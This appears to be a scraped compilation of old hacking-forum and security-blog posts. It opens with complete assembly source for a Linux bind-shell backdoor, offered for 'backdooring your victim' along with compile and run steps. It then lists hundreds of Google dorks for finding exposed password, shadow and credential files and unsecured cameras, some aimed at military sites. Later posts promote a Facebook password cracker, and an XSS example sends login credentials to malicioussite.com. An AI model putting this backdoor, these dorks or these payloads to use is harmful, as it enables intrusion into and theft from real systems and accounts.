Devilzc0de.asm bindshell backdoor port 12345

download: http://yoyoparty....lzc0de.asm

Ok new tool made by devilzc0de.org for backdooring your victim @ port 12345
Source of devilzc0de.asm:

;devilzc0de port bind shell @ port 12345

;c0d3r: mywisdom 

;special thanks: gunslinger, 

;flyv666,kiddies,petimati,devil 

;nongkong,whitehat,marco poppies,

;v3n0m,c0mrade, and all my friend



global _start



_start:



 push byte 2    

 pop eax        

 int 80h  

 jmp soket



setresuid:        

BITS 32

xor eax, eax   ;reset eax

xor ebx, ebx  

xor ecx, ecx  

cdq

mov BYTE al, 0xa4

int 80h



setreuid:

mov ebx, eax

mov ecx, eax

push byte 70

pop eax

int 80h



soket:

push   byte   0  ; simpan 0 ke stak

push   byte   1  ; simpan 1 ke stak

push   byte   2 ; simpan 2 ke stak



mov    eax, 102 ;syscall nomor 102 register ax

mov    ebx, 1

mov    ecx, esp ; pointer ke stak

int    80h



mov    edx,    eax



binder:



;simpan semua argumen yang diperlukan ke stack



push   byte 0      

push   byte 0

push   byte 0

push   word 0x3930

push   word 2

mov   ebx, esp



push    byte 16

push   ebx

push   edx



mov   eax,102 ;persiapan socket call

mov   ebx,2  

mov   ecx,esp

int    80h



lisen:

push   byte   0x1

push   edx

mov   eax,102

mov   ebx,4

mov   ecx,esp

int    80h



acep:

push   byte 0

push   byte 0

push   edx

mov   eax,102

mov   ebx,5

mov   ecx,esp

int    80h



mov   edx, eax



siap_fd:

mov   eax,63

mov   ebx,edx

mov    ebx,2

int   80h



mov     eax,63

mov     ebx,edx

mov     ecx,1

int     80h



mov     eax,63

mov     ebx,edx

mov     ecx,0

int     80h



eksekusi:



push BYTE 11

pop eax

push ecx

push 0x68732f2f

push 0x6e69622f

mov ebx, esp

push ecx

mov edx, esp

push ebx

mov ecx, esp

int 80h



bersih2:

push byte 0x06

pop eax

int 80h



keluar:

push    byte 0x01

pop   eax

int    80h

Code





Compile:

[code]

nasm -f elf devilzc0de.asm

ld -o devilzc0de devilzc0de.o

Run in background @ your victim:
[code]
./devilzc0de &

Dork Dok-dok-dok...Google!!

inurl:"ViewerFrame?Mode="
intitle:axis intitle:"video server"
inurl:indexFrame.shtml Axis
?intitle:index.of? mp3 artist-name-here
"intitle:index of"
"A syntax error has occurred" filetype:ihtml
"access denied for user" "using password"
"Chatologica MetaSearch" "stack tracking:"
"Index of /backup"
"ORA-00921: unexpected end of SQL command"
"parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
?intitle:index.of? mp3 name
allintitle:"Network Camera NetworkCamera"
allinurl: admin mdb
allinurl:auth_user_file.txt
intitle:"live view" intitle:axis
intitle:axis intitle:"video server"
intitle:liveapplet
inurl:"ViewerFrame?Mode="
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG)
inurl:passlist.txt
inurl:view/index.shtml
inurl:view/indexFrame.shtml
inurl:view/view.shtml
inurl:ViewerFrame?Mode=Refresh
liveapplet
!Host=*.* intext:enc_UserPassword=* ext:pcf
" -FrontPage-" ext:pwd inurl:(service | authors | administrators | users)
"A syntax error has occurred" filetype:ihtml
"About Mac OS Personal Web Sharing"
"access denied for user" "using password"
"allow_call_time_pass_reference" "PATH_INFO"
"An illegal character has been found in the statement" -"previous message"
"ASP.NET_SessionId" "data source="
"AutoCreate=TRUE password=*"
"Can't connect to local" intitle:warning
"Certificate Practice Statement" inurl:(PDF | DOC)
"Chatologica MetaSearch" "stack tracking"
"Copyright © Tektronix, Inc." "printer status"
"detected an internal error [IBM][CLI Driver][DB2/6000]"
"Dumping data for table"
"Error Diagnostic Information" intitle:"Error Occurred While"
"error found handling the request" cocoon filetype:xml
"Fatal error: Call to undefined function" -reply -the -next
"Generated by phpSystem"
"generated by wwwstat"
"Host Vulnerability Summary Report"
"HTTP_FROM=googlebot" googlebot.com "Server_Software="
"IMail Server Web Messaging" intitle:login
"Incorrect syntax near"
"Index of /" +.htaccess
"Index of /" +passwd
"Index of /" +password.txt
"Index of /admin"
"Index of /mail"
"Index Of /network" "last modified"
"Index of /password"
"index of /private" site:mil
"index of /private" -site:net -site:com -site:org
"Index of" / "chat/logs"
"index of/" "ws_ftp.ini" "parent directory"
"Installed Objects Scanner" inurl:default.asp
"Internal Server Error" "server at"
"liveice configuration file" ext:cfg
"Login - Sun Cobalt RaQ"
"Mecury Version" "Infastructure Group"
"Microsoft ® Windows * ™ Version * DrWtsn32 Copyright ©" ext:log
"More Info about MetaCart Free"
"Most Submitted Forms and Scripts" "this section"
"mysql dump" filetype:sql
"mySQL error with query"
"Network Vulnerability Assessment Report"
"not for distribution" confidential
"ORA-00921: unexpected end of SQL command"
"ORA-00933: SQL command not properly ended"
"ORA-00936: missing expression"
"pcANYWHERE EXPRESS Java Client"
"phone * * *" "address *" "e-mail" intitle:"curriculum vitae"
"phpMyAdmin MySQL-Dump" "INSERT INTO" -"the"
"phpMyAdmin MySQL-Dump" filetype:txt
"phpMyAdmin" "running on" inurl:"main.php"
"PostgreSQL query failed: ERROR: parser: parse error"
"Powered by mnoGoSearch - free web search engine software"
"powered by openbsd" +"powered by apache"
"Powered by UebiMiau" -site:sourceforge.net
"produced by getstats"
"Request Details" "Control Tree" "Server Variables"
"robots.txt" "Disallow:" filetype:txt
"Running in Child mode"
"sets mode: +k"
"sets mode: +p"
"sets mode: +s"
"Supplied argument is not a valid MySQL result resource"
"Supplied argument is not a valid PostgreSQL result"
"Thank you for your order" +receipt
"This is a Shareaza Node"
"This report was generated by WebLog"
"This summary was generated by wwwstat"
"VNC Desktop" inurl:5800
"Warning: Cannot modify header information - headers already sent"
"Web File Browser" "Use regular expression"
"xampp/phpinfo
"You have an error in your SQL syntax near"
"Your password is * Remember this for later use"
aboutprinter.shtml
allintitle: "index of/admin"
allintitle: "index of/root"
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
allintitle: sensitive filetype:doc
allintitle:.."Test page for Apache Installation.."
allintitle:admin.php
allinurl:".r{}_vti_cnf/"
allinurl:admin mdb
allinurl:auth_user_file.txt
allinurl:servlet/SnoopServlet
An unexpected token "END-OF-STATEMENT" was found
camera linksys inurl:main.cgi
Canon Webview netcams
Comersus.mdb database
confidential site:mil
ConnectionTest.java filetype:html
data filetype:mdb -site:gov -site:mil
eggdrop filetype:user user
ext:conf NoCatAuth -cvs
ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-"
ext:txt inurl:unattend.txt
filetype:ASP ASP
filetype:ASPX ASPX
filetype:BML BML
filetype:cfg ks intext:rootpw -sample -test -howto
filetype:cfm "cfapplication name" password
filetype:CFM CFM
filetype:CGI CGI
filetype:conf inurl:psybnc.conf "USER.PASS="
filetype:dat "password.dat
filetype:DIFF DIFF
filetype:DLL DLL
filetype:DOC DOC
filetype:FCGI FCGI
filetype:HTM HTM
filetype:HTML HTML
filetype:inf sysprep
filetype:JHTML JHTML
filetype:JSP JSP
filetype:log inurl:password.log
filetype:MV MV
filetype:pdf "Assessment Report" nessus
filetype:PDF PDF
filetype:PHP PHP
filetype:PHP3 PHP3
filetype:PHP4 PHP4
filetype:PHTML PHTML
filetype:PL PL
filetype:PPT PPT
filetype:PS PS
filetype:SHTML SHTML
filetype:STM STM
filetype:SWF SWF
filetype:TXT TXT
filetype:XLS XLS
htpasswd / htpasswd.bak
Index of phpMyAdmin
index of: intext:Gallery in Configuration mode
index.of passlist
intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"
intext:"d.aspx?id" || inurl:"d.aspx?id"
intext:"enable secret 5 $"
intext:"powered by Web Wiz Journal"
intext:"SteamUserPassphrase=" intext:"SteamAppUser=" -"username" -"user"
intitle:"--- VIDEO WEB SERVER ---" intext:"Video Web Server" "Any time & Any where" username password
intitle:"500 Internal Server Error" "server at"
intitle:"actiontec" main setup status "Copyright 2001 Actiontec Electronics Inc"
intitle:"Browser Launch Page"
intitle:"DocuShare" inurl:"docushare/dsweb/" -faq -gov -edu
intitle:"EverFocus.EDSR.applet"
intitle:"Index of" ".htpasswd" "htgroup" -intitle:"dist" -apache -htpasswd.c
intitle:"Index of" .bash_history
intitle:"Index of" .mysql_history
intitle:"Index of" .mysql_history
intitle:"Index of" .sh_history
intitle:"Index of" cfide
intitle:"index of" etc/shadow
intitle:"index of" htpasswd
intitle:"index of" intext:globals.inc
intitle:"index of" master.passwd
intitle:"index of" members OR accounts
intitle:"index of" passwd
intitle:"Index of" passwords modified
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"Index of" pwd.db
intitle:"index of" spwd
intitle:"Index of" spwd.db passwd -pam.conf
intitle:"index of" user_carts OR user_cart
intitle:"Index of..etc" passwd
intitle:"iVISTA.Main.Page"
intitle:"network administration" inurl:"nic"
intitle:"OfficeConnect Cable/DSL Gateway" intext:"Checking your browser"
intitle:"remote assessment" OpenAanval Console
intitle:"Remote Desktop Web Connection" inurl:tsweb
intitle:"switch login" "IBM Fast Ethernet Desktop"
intitle:"SWW link" "Please wait....."
intitle:"teamspeak server-administration
intitle:"TUTOS Login"
intitle:"VMware Management Interface:" inurl:"vmware/en/"
intitle:"Welcome to the Advanced Extranet Server, ADVX!"
intitle:"Welcome to Windows 2000 Internet Services"
intitle:"Connection Status" intext:"Current login"
intitle:"inc. vpn 3000 concentrator"
intitle:asterisk.management.portal web-access
intitle:dupics inurl:(add.asp | default.asp | view.asp | voting.asp) -site:duware.com
intitle:index.of administrators.pwd
intitle:index.of cgiirc.config
intitle:Index.of etc shadow site:passwd
intitle:index.of intext:"secring.skr"|"secring.pgp"|"secring.bak"
intitle:index.of master.passwd
intitle:index.of passwd passwd.bak
intitle:index.of people.lst
intitle:index.of trillian.ini
intitle:Novell intitle:WebAccess "Copyright *-* Novell, Inc"
intitle:opengroupware.org "resistance is obsolete" "Report Bugs" "Username" "password"
intitle:open-xchange inurl:login.pl
inurl:":10000" intext:webmin
inurl:"8003/Display?what="
inurl:"auth_user_file.txt"
inurl:"GRC.DAT" intext:"password"
inurl:"printer/main.html" intext:"settings"
inurl:"slapd.conf" intext:"credentials" -manpage -"Manual Page" -man: -sample
inurl:"slapd.conf" intext:"rootpw" -manpage -"Manual Page" -man: -sample
inurl:"ViewerFrame?Mode="
inurl:"wvdial.conf" intext:"password"
inurl:"wwwroot/
inurl:/Citrix/Nfuse17/
inurl:/db/main.mdb
inurl:/wwwboard
inurl:access
inurl:admin filetype:db
inurl:asp
inurl:buy
inurl:ccbill filetype:log
inurl:cgi
inurl:cgiirc.config
inurl:config.php dbuname dbpass
inurl:data
inurl:default.asp intitle:"WebCommander"
inurl:download
inurl:file
inurl:filezilla.xml -cvs
inurl:forum
inurl:home
inurl:hp/device/this.LCDispatcher
inurl:html
inurl:iisadmin
inurl:inc
inurl:info
inurl:lilo.conf filetype:conf password -tatercounter2000 -bootpwd -man
inurl:list
inurl:login filetype:swf swf
inurl:mail
inurl:midicart.mdb
inurl:names.nsf?opendatabase
inurl:new
inurl:nuke filetype:sql
inurl:order
inurl:ospfd.conf intext:password -sample -test -tutorial -download
inurl:pages
inurl:pap-secrets -cvs
inurl:passlist.txt
Ultima Online loginservers
inurl:Proxy.txt
inurl:public
inurl:search
inurl:secring ext:skr | ext:pgp | ext:bak
inurl:shop
inurl:shopdbtest.asp
inurl:software
inurl:support
inurl:user
inurl:vtund.conf intext:pass -cvs s
inurl:web
inurl:zebra.conf intext:password -sample -test -tutorial -download
LeapFTP intitle:"index.of./" sites.ini modified
POWERED BY HIT JAMMER 1.0!
signin filetype:url
site:ups.com intitle:"Ups Package tracking" intext:"1Z ### ### ## #### ### #"
top secret site:mil
Ultima Online loginservers
VP-ASP Shop Administrators only
XAMPP "inurl:xampp/index"

From : http://yogyacarderlink.web.id/forum/viewthread.php?thread_id=1557

Book of the Month – SQL Injection Attacks and Defense

SQL Injection is one of the most popular web attacks that the security world has ever witnessed since the evolution of Internet. Till date it remains one of the less understood vulnerability from web security perspective as indicated by growing number of SQL injection attacks.
In this direction, this book is set to clear apart those short comings and present real facts about the insecurities surrounding the SQL Injection.

Here is the table of contents…

Chapter 1: What is SQL Injection?
Chapter 2: Testing for SQL Injection
Chapter 3: Reviewing Code for SQL Injection
Chapter 4: Exploiting SQL Injection
Chapter 5: Blind SQL Injection Exploitation
Chapter 6: Exploiting the Operating System
Chapter 7: Advanced Topics
Chapter 8: Code-Level Defenses
Chapter 9: Platform-Level Defenses
Chapter 10: References

The book starts with describing various SQL Injection attack scenarios from different angles covering multiple operating systems. Also it covers different type of SQL Injection attacks in detail which makes it easy to understand. Rest of the book deals with defenses at different level, starting from development to deployment. Chapter 8 explains static analysis of code using the tools for identifying and preventing SQL injection vulnerabilities at the root itself. Chapter 9 focuses on putting up defenses on different operating systems and for various type of databases including MsSQL, MySQL, Oracle etc.
Compared to any of the books produced so far, this book does real justice to the subject by comprehensively explaining both sides of the game, the attacking & defending against the SQL injection.

Written by the experts the book covers from basic to advanced levels and it is highly recommended for any one involved in the web security.

Ebook Link – http://rs59.rapidshare.com/files/293360186/1597494240.pdf

VistaUACMaker for Win7 with New Look

VistaUACMaker, a handy tool to make XP based applications compatible with Vista will now work for Windows 7 too. So now with few clicks your XP application will work on Win7 seamlessly.

The new version also presents attractive GUI with enhanced look & feel. For download and more information please visit VistaUACMaker main page.

ProcHeapViewer 3.0 for Windows 7 with New Colors

ProcHeapViewer, the fastest tool to scan and enumerate process heaps now ships for Windows 7. The new version also comes with enhanced user interface with cool look & feel.

For more information and download, please visit the ProcHeapViewer page here.

Cracking WPA on the Cloud in Minutes

Its not new to see weakness in the protocols used for securing wireless networks. Initially it was WEP (Wireless Equivalent Privacy) which got broken completely. Hackers were able to crack the wireless authentication key in few minutes, if not in seconds. To overcome this, new protocols such as WPA (Wireless Protected Access), WPA2 has been introduced.
WPA supports many type of authentication methods, one of them is PSK (Pre Shared Key) technique, which is vulnerable to brute force attack. Though smaller dictionary based PSK can be cracked quickly, it takes days or weeks together to crack longer ones.
But thanks to the cloud computing technology, now these WPA-PSK passwords can be cracked in few minutes. This service nick named as ‘Cloud-Cracking’ is now provided online by WPACracker which showcases the WPA-PSK cracking service at rapid rate for reasonable price of 17$. WPACracker has got cloud cluster powered by 400 CPU’s with 135 million word dictionary created specifically for WPA passwords.

In order to crack WPA-PSK passwords one has to just collect the network trace during wireless authentication as described in this beautiful aircrack-ng tutorial. Then this network trace file can be submitted to WPACracker for recovering the password.

This is going to make the life of pentester’s easier as they don’t have to wait for days together to show what they have got.

GooglePasswordDecryptor – The Google Account Password Recovery Tool

Finally stars got aligned perfectly for the release of the new tool, GooglePasswordDecryptor. It is the free tool to recover the stored Google account passwords by various desktop applications.

Currently it supports Google password recovery from following applications..

Google Talk
Google Picassa
Google Desktop Seach
Gmail Notifier
Internet Explorer ( all versions from 4 to 8 )
Google Chrome

Each of the above mentioned applications use their own encrypted format and storage location to securely store the Google account password. These encryption techniques and steps to decrypt the password for each of these applications are illustrated in the following research article, ‘Exposing the Google Password Secrets’
For more information and to download the GooglePasswordDecryptor, visit the main page here...

Operation Aurora – Google Got Hacked through IE Zero Day

Operation Aurora – The well targeted attack under which top companies including Google got hacked through the zero day vulnerability. Google has released separate statement recently illustrating nature of the attack vectors and motives of the attacker.

In this attack which believed to be originated from China, the zero day (not publicly known) vulnerability in Internet Explorer was used. The attacker sent the social engineered emails to couple of individuals in the company prompting them to open malicious website. Once the user has visited the malicious content, it opened reverse TCP connection to the attacker’s machine leading to complete take over of the victim’s system. Attacker then used this connection to further compromise the corporate boundaries and gather confidential data. Similar attack was against other corporate leading to breach of confidential information.
On Friday, Microsoft has released separate advisory confirming this zero day vulnerability in Internet Explorer. Though there is no patch against it, there are couple of factors such as DEP, IE Protected mode, restricted mode which mitigates this attack to certain extent.
Here is the video demonstration created by Nishant showing this zero day attack even on the fully patched machine with Norton 2010 protection

With no protection and availability of ready to launch exploit code on Metasploit, there will be more successful attacks on the cards.

With employees at Google coming under such a social engineered attack, only God can save the common people

Google Offer Rewards for Chrome Hackers

Here comes the Google’s turn to offer bounty for hackers finding bugs in Chrome. As per the latest post “Encouraging More Chromium Security Research” on its official blog of Chrome, Google has decided to follow the practice of Microsoft and other organizations to reward the security researchers.

For every Security vulnerability found in Chrome, Google will be offering cash reward of $500 and if that bug turns out to be critical then it can go upto $1337 (magic number

). Even more, Google is willing to offer permanent position for security researcher in its Mountain View office at CA.

This is wise step from Google to get the attention of security researchers and make them work for its products.

However I wonder when third party organizations such as iDefense, Tipping Point offering bigger bounties for hackers why some one will settle for mere $500 …!

Released ChromePasswordDecryptor 1.5

ChromePasswordDecryptor 1.5 is now released with Windows 7 support along with other fixes. This is the tool for recovering the sign-on passwords stored by Google Chrome.

This new version also addresses the sign-on database accessibility issues while Chrome is running. That means now ChromePasswordDecryptor will recover the passwords on the fly even if Chrome is running.
For download and other information, please follow the main page of ChromePasswordDecryptor.

VistaUACMaker for Win7 with New Look

VistaUACMaker, a handy tool to make XP based applications compatible with Vista will now work for Windows 7 too. So now with few clicks your XP application will work on Win7 seamlessly.

The new version also presents attractive GUI with enhanced look & feel. For download and more information please visit VistaUACMaker main page.

ProcHeapViewer 3.0 for Windows 7 with New Colors

ProcHeapViewer, the fastest tool to scan and enumerate process heaps now ships for Windows 7. The new version also comes with enhanced user interface with cool look & feel.

For more information and download, please visit the ProcHeapViewer page here.

ProcNetMonitor – Process Network Port Monitoring Tool, Released for Windows 7

ProcNetMonitor, the tool for monitoring process network ports is supported for Windows 7 now. Newer version comes with enhanced user interface along with minor bug fixes.

In short, ProcNetMonitor makes it easy to quickly analyze network activity of all running processes. It has advanced color based auto analysis system to make it easy to distinguish network oriented processes from others with just one glance at the list. Also its ‘Port Finder’ feature allows for fast port lookup among running processes.
For more information and to download the latest version, please visit the ProcNetMonitor page.

Social Engineering Made Easy by SET

“Man without tools is animal and with tools he is everything”. Till today the quote applies to every field man has set his footprints in. Man has created tools for everything to make every small job easier & quicker.
Now we have tool for Social Engineering too. This new tool is called Social-Engineering Toolkit (in short SET) which aims to automate the social engineering attacks through mass email & web attacks. Within few steps attacker will be able to launch smart attacks with high chance of success. SET works on top of Metasploit, a popular penetration testing framework, using its exploit payloads and launch pad.
To demonstrate its effectiveness, Nishant has created this video which shows how easy it is to launch such social engineering attack with high returns

In this video, attacker sends the emails to victims using SET tool which contains vulnerable PDF attachment and tiny URL pointing to malicious link. So once victim opens up this PDF document, it automatically connects back to attacker’s machine giving full access to the victim’s system. If victim is lazy enough to open PDF document (as he is human being too ), he will be curious to open malicious URL which is obscured by tiny URL leading to successful attack.

At the end of the day, there is always a Zero Day because of Human Stupidity…!

Quick Password Recovery Using Rainbow Crack

Some times back I have written article on using Rainbow crack to recover windows passwords. This article explains how one can crack any windows user passwords in seconds instead of regular brute force approach.
In short, Rainbow crack involves comparing the password hash with precomputed hash tables called rainbow tables to find the matching plain text password. As it involves just look up process instead of on the fly brute force cracking, it takes very very less time to crack the password.

To recover the password, you just need to retrieve the password hash as explained in this article and submit it to online rainbow cracking service.
There are lot of websites which offer free online rainbow cracking services.Here are few good ones…..

http://cracker.offensive-security.com/index.php (best one)
http://lmcrack.com/
http://cracker.offensive-security.com/index.php
http://plain-text.info/add/
http://hashcrack.com/index.php
http://www.milw0rm.com/cracker/insert.php

Now you don’t have to wait for days together with half hope to get back your lost password

Discovering Hidden Registry Keys in Windows

Windows uses registry to store every user and policy configuration on the system. One can directly tweak anything in the registry to alter any of the system settings. However not all registry keys are visible when viewed through default registry editor (regedit.exe). Especially some of the security and core system related keys are hidden from user. Even administrator cannot see these special keys.
Here are some of the such hidden registry keys

HKEY_LOCAL_MACHINE\SECURITY

HKEY_LOCAL_MACHINE\SAM

SECURITY registry key stores all the system policy and LSA secrets related information. SAM registry key has details for user accounts along with LM/NTLM password hashes for each user.
There are many ways we can view these hidden registry keys. We can use psexec.exe tool (part of pstools package from sysinternals) to launch the regedit.exe as system account as shown below.

psexec.exe -s -i regedit.exe

Here is the screenshot showing the hidden SAM accounts through registry editor running under system account.

Another way to view these hidden keys is through IceSword, the antirootkit tool. This beautiful tool comes with powerful registry editor using which all these hidden registry keys can be discovered easily.
Here is the screenshot below which shows Security registry key through IceSword.

NetworkPasswordDecryptor – New Tool to Recover Network Passwords

NetworkPasswordDecryptor is the free tool to instantly recover the network passwords stored in the ‘Credential Store’ of Windows. Not only Windows uses it to store network authentication passwords, but also other applications such as Outlook, Windows Live Messenger, Remote Destktop, Gmail Notifier etc uses it for storing their login passwords.

NetworkPasswordDecryptor can recover following passwords on all versions of Windows starting from XP to Windows 7.

All network authentication passwords.
Basic/Digest authentication passwords stored by Internet Explorer
Google login password stored by GMail Notifier
Remote Desktop stored passwords.
Exchange server login passwords stored by Outlook.
Login passwords of Windows Live Messenger

To understand how NetworkPasswordDecryptor decrypts these network passwords, refer to following research article

‘Exposing the Secret of Decrypting Network Passwords’

This research article presents the crypto techniques required to decode and decrypt all such network based passwords from Windows ‘Credential Store’.

New SpyDLLRemover to Remove DLL from System ProcessNew SpyDLLRemover to Remove DLL from System Process

The newer version of SpyDLLRemover v3.2 now support removal malicious DLL from system processes on Vista/Win7 platforms. Starting with Vista, Windows has introduced the session separation feature which prevents processes in one session interacting with process in another session.
Normally all system processes including services live in session 0. All user session starts with session 1. So even though any process is running as administrator it cannot create remote thread, hence cannot inject/free DLL from system processes because of the session separation concept.

SpyDLLRemover uses advanced DLL removal technique to remove spy DLL from remote process. However due to this session restriction it was not able to remove DLL from system processes. Often spywares hide themselves in the system processes so as to be evade suspicion of user. In that context such a limitation was in fact boon for those spywares.
But stars have changed in the sky. The new version of SpyDLLRemover now comes with a support to remove DLL from any system process across session boundaries thus breaking all those restrictions imposed by Vista/Win7.

Now even if malware is hiding its DLL in the system process such as Lsass.exe or Winlogon.exe, it cannot escape from SpyDLLRemover any more…!

Sniffing VoIP Calls Using UCSniff

Sniffing the neighbor’s passwords on the network was an age old stuff and every hacker would have done it at some point of time using tools such as Dsniff, cain & abel etc. Now you can record and listen to your neighbor’s phone calls too using the tool called UCSniff. Not just calls, you can even view the video conversations done through IP Video.

UCSniff is a VoIP & IP Video Security Assessment tool that integrates existing open source software into several useful features, allowing VoIP and IP Video owners and security professionals to rapidly test for the threat of unauthorized VoIP and Video Eavesdropping.

Here is the video demonstration created by Nishant, the security researcher which illustrates how any one on the network can easily sniff your VoIP/Video conversations transparently.

UCSniff supports wide range of popular protocols and can be run on multiple platforms including Windows & Linux.

So next time when your manager says pissa pissa on the phone, you know what he is upto…!

Facebook password cr4ck3r !!

metode yg di gunakan dictionary, jd lo hrus buat list2 psword (password yg kira2 di gunakan para pengguna facebook)
jd klo salah list kita ada yg bener, baru ketemu dey password'a
Kembangin imajinasi lo aja untuk bwt list password'a

* Download facebooz disini
* Sebelum jalanin'a lo harus instal JAVA di PC lo.
* untuk instal java download disini buat yg blm punya
+ Disablekan dolo firewall dan antivirus lo sebelum jalanin tools ini.

I will explain how to use this tool :
1. Instal JAVA (JRE) yang baru lo download tadi.
2. Jalanin Facebooz dan masukin email ke kolom Email yg ada di sopwer.
3. Sebelum jalanin'a lo mesti punya list password dolo disini gw kasih dikit nama2 list password (jangan terpaku pada list password yang gue kasih dan ini bisa lo kembangin sendiri nama2 password'a)
4. The last, start cracking

Skrinsut yang udah gue coba ke email FB bokin gue :

Unknown Sql Injector

Unknown Sql Injector

i838.photobucket.com/albums/zz310/al3x-0wn5/Unkn0wnSqlInjector.jpg

download
http://www.ziddu.com/download/8545405/Unkn0wnSqlInjector.zip.html

Open Source Wireless Hacking

AirFart is a wireless tool created to detect wireless devices, calculate their signal strengths, and present them to the user in an easy-to-understand fashion. It is written in C/C++ with a GTK front end. Airfart supports all wireless network cards supported by the linux-wlan-ng Prism2 driver that provide hardware signal strength information in the "raw signal" format (ssi_type 3). Airfart implements a modular n-tier architecture with the data collection at the bottom tier and a graphical user interface at the top.

WifiScanner is a tool that has been designed to discover wireless node (i.e access point and wireless clients). It is distributed under the GPL License.
It work with CISCO® card and prism card with hostap driver or wlan-ng driver, prism54g, Hermes/Orinoco, Atheros, Centrino, …
An IDS system is integrated to detect anomaly like MAC usurpation.

Finding Website Vulnerabilities

SiteDigger searches Google’s cache to look for vulnerabilities, errors, configuration issues, proprietary information, and interesting security nuggets on web sites.

The tool requires Google web services API license key. Browse to http://www.google.com/apis/ and follow the instructions to get the license key.
Provide the license key at the bottom-right box on the tool.
Enter the domain / sub-domain information. (.mil, nasa.gov, usc.edu, etc).
Select search categories using signature tab.
Hit the search button. Use the export results button to view the results in tabular format.

Assembler Debugger for Windows

OllyDbg is a 32-bit assembler level analysing debugger for Microsoft^® Windows^®. Emphasis on binary code analysis makes it particularly useful in cases where source is unavailable. OllyDbg is a shareware, but you can download and use it for free. Special highlights are:

Intuitive user interface, no cryptical commands
Code analysis - traces registers, recognizes procedures, loops, API calls, switches, tables, constants and strings
Directly loads and debugs DLLs
Object file scanning - locates routines from object files and libraries
Allows for user-defined labels, comments and function descriptions
Understands debugging information in Borland^® format
Saves patches between sessions, writes them back to executable file and updates fixups
Open architecture - many third-party plugins are available
No installation - no trash in registry or system directories

Debugs multithread applications
Attaches to running programs
Configurable disassembler, supports both MASM and IDEAL formats
MMX, 3DNow! and SSE data types and instructions, including Athlon extensions
Full UNICODE support
Dynamically recognizes ASCII and UNICODE strings - also in Delphi format!
Recognizes complex code constructs, like call to jump to procedure
Decodes calls to more than 1900 standard API and 400 C functions
Gives context-sensitive help on API functions from external help file
Sets conditional, logging, memory and hardware breakpoints
Traces program execution, logs arguments of known functions
Shows fixups
Dynamically traces stack frames
Searches for imprecise commands and masked binary sequences
Searches whole allocated memory
Finds references to constant or address range
Examines and modifies memory, sets breakpoints and pauses program on-the-fly
Assembles commands into the shortest binary form
Starts from the floppy disk

Cross Site Scripting Attack Tool

XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
Types of information leakage due to XSS attack

1. Client can reveal cookies to 3rd party (session state, order info, etc)

http://host/a.php?variable=">

2. Client can reveal posted form items to 3rd party (userID/passwd, etc)

action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src=’http://www.malicioussite.com/’+document.forms(1).login.value’+':’+ document.forms(1).password.value;"

3. Client can be tricked into accessing/posting spoofed info to trusted server

http://www.trustedserver.com/xss.asp?name">www.trustedserver.com/xss.asp?name = <br>src=http://www.trustedserver.com/auth_area/orderupdate?items=4000>

4. Client can be tricked into attacking other sites

/hello.asp?name = <br>src=http://vuln.iis.server/scripts/root.exe?/c+dir>

Hacking: Information Digging Application

SEAT (Search Engine Assessment Tool) is the next generation information digging application geared toward the needs of security professionals. SEAT uses information stored in search engine databases, cache repositories, and other public resources to scan a site for potential vulnerabilities. It’s multi-threaded, multi-database, and multi-search-engine capabilities permit easy navigation through vast amounts of information with a goal of system security assessment. Furthermore, SEAT’s ability to easily process additional search engine signatures as well as custom made vulnerability databases allows security professionals to adapt SEAT to their specific needs.
Features
Supported Search Engines:

Google
Yahoo
MSN
AltaVista
AllTheWeb
AOL
DMOZ

Vulnerability Databases:

GHDB
NIKTO
GSDB
WMAP
URLCHK
NESTEA

Advanced Features:

Mine domain names belonging to a target site
Indirectly scan a range of IP addresses
Quickly create new custom Search Engine signatures and Vulnerability Databases.

Wireless Network Cracking

Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the all-new PTW attack, thus making the attack much faster compared to other WEP cracking tools. In fact, Aircrack-ng is a set of tools for auditing wireless networks.

Few interesting readings
Cracking WEP with aircrack-ptw in Windows with AirPcap and Cain
AirPcap Related Stuffs
Aircrack/Aireplay-ng Under Packet Injection Monitor Mode in Windows
It is very easy to crack WEP based wireless network. So it is good that you use WPA for your wireless network.

Detect Wireless Network using NetStumbler

NetStumbler is a tool for Windows that allows you to detect Wireless Local Area Networks (WLANs) using 802.11b, 802.11a and 802.11g. It has many uses:

Verify that your network is set up the way you intended.
Find locations with poor coverage in your WLAN.
Detect other networks that might be causing interference with your network.
Detect unauthorized “rogue” access points in your workplace.
Help aim directional antennas for long-haul WLAN links.
Use it recreationally for WarDriving.

Reset Your Password on Windows Vista, Windows XP, Windows 2000, Windows 2003 Server, Windows NT using USB Drive

In my earlier article, I described various tools that can be used to reset Windows password. To use these tools, I have to create a bootable CD from the ISO image given.
I have encountered one problem recently whereby one of the laptop passed to me has no floppy and the external CD-ROM is missing. Worst still, nobody knows the Windows Adminstrator login password.
Luckily, the notebook supports booting from USD hard drive. After going through the tools that I have, I managed to reset the password using my thumb or pen drive.
The tool that I used is Offline NT Password & Registry Editor. To do this is very simple.

Download the bootable CD or ISO image from the website.
Using another computer, create a bootable CD from the image.

As described in the README.txt in the bootable CD, do the following

To make a bootable USB drive / key:

1. Copy all files from this CD onto the USB drive.
   It cannot be in a subdirectory on the drive.
   You do not need delete files already on the drive.
2. Install the bootloader:
   On the USB drive, there should now be a file
   "syslinux.exe".
   Run this from a command line, like this:

 j:\syslinux.exe -ma j:

replace j with some other letter if your USB drive
is on another drive letter than j:
If it says nothing, it did install the bootloader.

Please note that you may have to adjust settings
in your computers BIOS setup to boot from USB.
Also, some BIOS (often older machines) simply
won't boot from USB anyway.

In case your notebook does not support booting from USB hard drive, here are some useful links
HP Drive Key Boot Utility
How To Boot From A USB Flash Drive
